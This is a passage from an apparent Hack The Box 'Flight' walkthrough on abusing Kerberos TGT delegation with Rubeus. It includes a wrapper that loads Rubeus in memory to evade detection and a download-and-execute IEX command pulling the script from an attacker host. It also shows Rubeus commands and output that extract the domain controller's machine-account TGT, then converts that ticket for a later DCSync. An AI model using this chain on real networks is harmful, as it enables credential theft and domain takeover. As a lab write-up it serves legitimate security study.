TGT Delegation
It abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user’s Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi.
Rubeus
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy’s Kekeo project (CC BY-NC-SA 4.0 license) and Vincent LE TOUX’s MakeMeEnterpriseAdmin project (GPL v3.0 license).
Compiling
by default, the latest release of rubeus, has the
target framework
attribute set to .NET 4
. The target system has .NET 4.7.03190
installed. With the backward compatibility that the .NET
framework has, I can just compile it as is
Build is complete.
In Memory Execution
For better OPSEC, it’s always best to execute binary in memory. In order to achieve this I would need to “wrap” the binary in a simple PowerShell function.
function Encode-And-Compress
{
$binPath = "C:\Path\To\Rubeus.exe"
$compressedStream = New-Object IO.MemoryStream
$gzipStream = New-Object IO.Compression.GzipStream($compressedStream, [IO.Compression.CompressionMode]::Compress)
$gzipStream.Write([System.IO.File]::ReadAllBytes($binPath), 0, [System.IO.File]::ReadAllBytes($binPath).Length)
$gzipStream.Close()
$base64String = [Convert]::ToBase64String($compressedStream.ToArray())
return $base64String
}
Write-Output(Encode-And-Compress)
I will first turn the binary into a long base64 string using a simple PowerShell script that I created above
function Invoke-Rubeus
{
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $true)]
[ValidateNotNullorEmpty()]
[String]
$Command
)
$b=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("[...REDACTED...]"))
$decompressed = New-Object IO.Compression.GzipStream($b,[IO.Compression.CoMPressionMode]::DEComPress)
$out = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $out )
[byte[]] $byteOutArray = $out.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
[Rubeus.Program]::Main($Command.Split(" "))
[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results
}
and load that base64 string into the PowerShell wrapper above.
It’s redacted([...REDACTED...]
) as the base64 string is 600KB long
Now it’s ready for use
Exploitation
ps c:\tmp> whoami
iis apppool\defaultapppool
ps c:\tmp> IEX(New-Object Net.Webclient).DownloadString('http://10.10.16.8/Invoke-Rubeus.ps1') | Import-Module
The command above will download and load the PowerShell implementation of Rubeus directly into the current session without even touching the disk. ClassicOn-Mem execution technique
Before jumping into the TGT Delegation technique, it’s best to inspect the target account for impersonation
┌──(kali㉿kali)-[~/archive/htb/labs/flight]
└─$ KRB5CCNAME=svc_apache@g0.flight.htb.ccache powerview 'flight.htb/@g0.flight.htb' -k --no-pass --use-ldaps --dc-ip $IP -q 'Get-DomainComputer'
[2023-12-12 23:46:21] LDAP Signing NOT Enforced!
cn : G0
distinguishedname : CN=G0,OU=Domain Controllers,DC=flight,DC=htb
instancetype : 4
name : G0
objectguid : {f8e70f6e-be4e-45fb-9218-da97d7c2d50a}
useraccountcontrol : SERVER_TRUST_ACCOUNT
TRUSTED_FOR_DELEGATION
badpwdcount : 0
badpasswordtime : 01/01/1601
lastlogoff : 0
lastlogon : 12/12/2023
pwdlastset : 10/25/2022
primarygroupid : 516
objectsid : S-1-5-21-4078382237-1492182817-2568127209-1001
logoncount : 63
samaccountname : G0$
samaccounttype : 805306369
operatingsystem : Windows Server 2019 Standard
dnshostname : g0.flight.htb
serviceprincipalname : Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/g0.flight.htb
ldap/g0.flight.htb/ForestDnsZones.flight.htb
ldap/g0.flight.htb/DomainDnsZones.flight.htb
DNS/g0.flight.htb
GC/g0.flight.htb/flight.htb
RestrictedKrbHost/g0.flight.htb
RestrictedKrbHost/G0
RPC/d72602ae-3e41-48f3-857b-ac5b2f7a9e15._msdcs.flight.htb
HOST/G0/flight
HOST/g0.flight.htb/flight
HOST/G0
HOST/g0.flight.htb
HOST/g0.flight.htb/flight.htb
E3514235-4B06-11D1-AB04-00C04FC2DCD2/d72602ae-3e41-48f3-857b-ac5b2f7a9e15/flight.htb
ldap/G0/flight
ldap/d72602ae-3e41-48f3-857b-ac5b2f7a9e15._msdcs.flight.htb
ldap/g0.flight.htb/flight
ldap/G0
ldap/g0.flight.htb
ldap/g0.flight.htb/flight.htb
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=flight,DC=htb
lastlogontimestamp : 133467830866348357
msds-supportedencryptiontypes : RC4-HMAC
AES128
AES256
Querying for the machine account, g0$
, reveals the SID; S-1-5-21-4078382237-1492182817-2568127209-1001
ps c:\tmp> Invoke-Rubeus "tgtdeleg /ticketuser:g0 /ticketuserid:S-1-5-21-4078382237-1492182817-2568127209-1001 /nowrap"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
[*] action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] authenticator etype: aes256_cts_hmac_sha1
[*] extracted the service ticket session key from the ticket cache: DepsvS9sPak9MKsEk0cAPshF8CVhfe5Z/6XlsKFGDyU=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECh9V4Ov6KKAq2UNQp9glJE36alIHRaAgzPa7EwZeawu4re4T2uNuDT6GnH3rClK64S8Q7xLiSJgmZ57LJX+A5Rs3/gEh3+9j2rF29sZ5HiuEbeTFBImDyGqQj3PjQbYYaM+NOCR/9o8UoYV7W3DSeV2dXm5eDRgNDqknfabaHmkuXHSXYOGkWnn24AHqqi7PnDBX57mWnUGX0giBjAANU45jM8Mv7bSw5ozkBAPpUFOzJbfdPyzZfSbu7N23WUpYUXgdbi80T0EAt9V8vQo37Pg1XMpoG1Iqg3WND565FqwiiNbNy9JecNYMzxLiP61qgrY7hQiuR8Us2/F4NGFvl/hiavYnXmDg76KiffhZltvC2xU0+4gp3psNJeD4q/hc2Esxy9WTY/6yedX1Q5QSQrOX+exEd3vQOMpUyqetZDIJfjbTz4fyfmMMWTTLkkYKI1QYK6pLaE8T/E+amFtNf1wspQNwEwF1hmNO3CDUSMQFwVvGC63ePruTQsI5afM7/NL33u3aBMMaUxUddpM199DSoLUQwcg+PU8GOcTVxSTbPqcCK73Cu/kuq7HeV6F9Ocpgq0Y+wu/J/CmHW90MdCKvSoL3c4dChIufzshkAzq8kNUts+S98Xmz9MpK49lwWWoG6Cstvmolo8Q+A/Wp9F8B5PV+CLbAew5rGVPrL5XZfW5OK4acnQloFKkk+m15tvESmDzg9fqCpC2Xu/b+qB+fbErjhC8K+jYZ0VbXnkXFXRHFTf8wj8M0ySiU7iAG5xaml08loOEV7NSyUJ4J6ZYvVSlVzW5PIE7QD9Cb8P+4OOp1aZUoV3ll0+rApdiZB542VhuiOKCqdMwhk3Bh4tL23nRBHn5I+TIERwy504iLbuQ3VUpZTXiL92bVCxyYre4/cxjFrZuf0HQDbdLdPeWJVtpmbNfcIJeM534WNZydH1PTa4yF1AZf9zp6C2TrMOH4CxHuI+GLqNxSZYBYJYrRZp1vq3RI0EIuGUXljsqabdVGwdgto5V4Y5eGtGhlfOna1Zp3tx6nNu+lNWujiNZGGNKcGx3o/Or+j+ZKt47W+fXqqQ/i8uMRGAa/Y5RJ7S5Ay9s1OVIPGLE5eLu3iRy05kTWEbBq0/fvcu3PD/DdpLn5ly7NfATEHi1ALmLOHCc8GWUlW1zs2iteogXy/EjefQnNL/tEpvW+rjA6yU2e8uQj9LCk59HXyMtPqc/wzyAWGHhR3frWDO1K4hTTLVJD+fBnSrwSQlgZxrjTkg0Vu0nmFxNHrhl3w78fdPA1nRMOop+x3Iw7H2pPItlEEZNb1Dhv9+aPlx7Y+M52X2qjTldSiFcBfQyTw5ompbXDMdzmmbhzyQJQk/cEEU1rDDl1JN89apzwQjjKo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgnIG4nvVLcF601ric/FtH61wFXbh3kCJtruKNAFbGNp6hDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDIzMTIxMjIyNDkwM1qmERgPMjAyMzEyMTMwODQ5MDNapxEYDzIwMjMxMjE5MjI0OTAzWqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC
The output is the based64 encoded TGT of the machine account. g0$
, in the .kirbi
format
ps c:\tmp> Invoke-Rubeus "klist"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
action: List Kerberos Tickets (Current User)
[*] current luid : 0x1c21625
username : DefaultAppPool
domain : IIS APPPOOL
logonid : 0x1c21625
usersid : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
authenticationpackage : Negotiate
logontype : Service
logontime : 12/11/2023 7:27:23 PM
logonserver :
logonserverdnsdomain : flight.htb
userprincipalname : G0$@flight.htb
[0] - 0x12 - aes256_cts_hmac_sha1
start/end/maxrenew: 12/12/2023 2:55:36 PM ; 12/13/2023 12:55:36 AM ; 12/19/2023 2:55:36 PM
server name : krbtgt/FLIGHT.HTB @ FLIGHT.HTB
client name : G0$ @ FLIGHT.HTB
flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable (60a10000)
[1] - 0x12 - aes256_cts_hmac_sha1
start/end/maxrenew: 12/12/2023 2:55:36 PM ; 12/13/2023 12:55:36 AM ; 12/19/2023 2:55:36 PM
server name : cifs/g0.flight.htb @ FLIGHT.HTB
client name : G0$ @ FLIGHT.HTB
flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
this can be checked with the klist command of Rubeus
Conversion
┌──(kali㉿kali)-[~/archive/htb/labs/flight]
└─$ echo 'doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECpPMu9f77cwx6tCp8KSMMFiiNIDnlhnSG0rcNOb1MJoT9tblEX3ZzQ5jEM7kyVpB+Inj89gCUu6hcmBT7K/nC3UQIFSGrlgFok2nUGnPf2nWXYGcQT3RFrz0D+aXBBjeBmlrF6U7ANFekX3kOMB2U2Z3Rg5QqfIRblGSw4SAj064XGgAWmjKocUXbIvIbC9J/wGJ1Wm5NiUSLE2zPgaqFD9S5sMBbWqvCoqAu7j5NEJbeR5dt9YvOZmFqJMlbLVoVzsZokcP+YU/QMNfE7pCNO5H2iNW390zyceo5WEuo0b/Ao7YT4qrM25Xp/iQZjqZyKKm132CbT+ZbkGaMJKc/ZZYS+D21kN4z6ZSJg10rrhwGAI+zQGYUsBbsoSa8dAt0Pm2fMNtMixi11IgnGPqi0HaYM3zeKOIHhSghi9qSqLnRmcRJPXliMNcMivp5ot86TARhvpORA8/ptxYdQlK5jGMdss24JhVstim/wVv9KG1iu9lE1vwCmtxlbt1326+I6/2LHGiDVI7qmA8Ov1ymGfh3LpV4rwbwghD5f5LLHugW0hE6AtVrdh5+W+oc4eus9u+WAhM6e6jVnKRX95qsbvPUsr7yF2UY4oxFxbrFZ6cEY6UzT5dQVc8eJ+v4/7ywYbagwJMT8xrVx7xh6vM5OmlmEbDyBQQW9zJPGak8YTwJG12s2eFktNvF0BBxRMC53dffIAUUHvGm2Zq6esZbzoKRGFGLTPk5To8h+BMjzB6m4+gZ0s273sIyTh6xFUNuxz3cdxtRRUwKSU/q8cFXP8DbdOZxx8FCAY6wlS5jRYKGdNqsv4JEWrUp6RaQSLHWiyO1knWu6mYeQayJYRB+SQ16jOmvs2jfoTFaVDvNb7/qmlwjM6HcLfPcWkRfdtsUJpUpa/l3BxIG8kY1JXPpn/96b3BvvvFl4rJqcbc+kBa1xpiQvxvbO4laYUYo1DvLyQODFnifC4MZjf+bZmqZ5NZnY5yIlaa7b4QZmYej2cCvZ5slvx/jacvMMJeyKQpF2ax8+qhPvpmASPSQkMfKU0bUL4KowUS30IeHnQQSnP/B7HCK3Gmok/zJdy+c+eQ/kJBZ1HEDhB76Jis6i0Jqp7tludCRIOZjC4gUrFHN6zB77db3GLMsgV8F+4/KLglXiyVwFIxMj3dDiH3NuHQWW4RYtzACjcAZWPuIowlgG74sswty6ZM6q/r0Ghs8LHHRTVuqTIUy/zUuU7uiqwtF3woGyxmNGvV6yEfYlnkc7L2qQd0wD6RzXvS7eqPzRU3kpk8YiZ00YuoVQDZMI9Q1ZfSTmNzwTRLJRxpD7BSa0SLU1ExgHlmWoWcVnCaZHlxBfg22HIxCVQueQR/i3grdj66ekSF6BoQ7Sgno4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQg+kjizMvc0a1Q9pRHBPEqNwZ6mljUDG2cJD3uBrPmFo2hDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDIzMTIxMjIyNTUzNlqmERgPMjAyMzEyMTMwODU1MzZapxEYDzIwMjMxMjE5MjI1NTM2WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC' | base64 -d > 'g0$@g0.flight.htb.kirbi'
The base64 string is the TGT of the g0$
account in the .kirbi
format, which differs from the .ccache
format that I am used to
I will grab and decode the base64 string and save the output to the g0$@g0.flight.htb.kirbi
file
The g0$@g0.flight.htb.kirbi
file needs to be further processed in order to be used in impacket suit
┌──(kali㉿kali)-[~/archive/htb/labs/flight]
└─$ impacket-ticketConverter g0\$@g0.flight.htb.kirbi g0\$@g0.flight.htb.ccache
Impacket v0.11.0 - Copyright 2023 Fortra
[*] converting kirbi to ccache...
[+] done
impacket-ticketConverter does exactly that.
Now that I have a valid TGT of the machine account, g0$
, the target domain is practically compromised
Moving on to the Privilege Escalation phase for the DCSync attack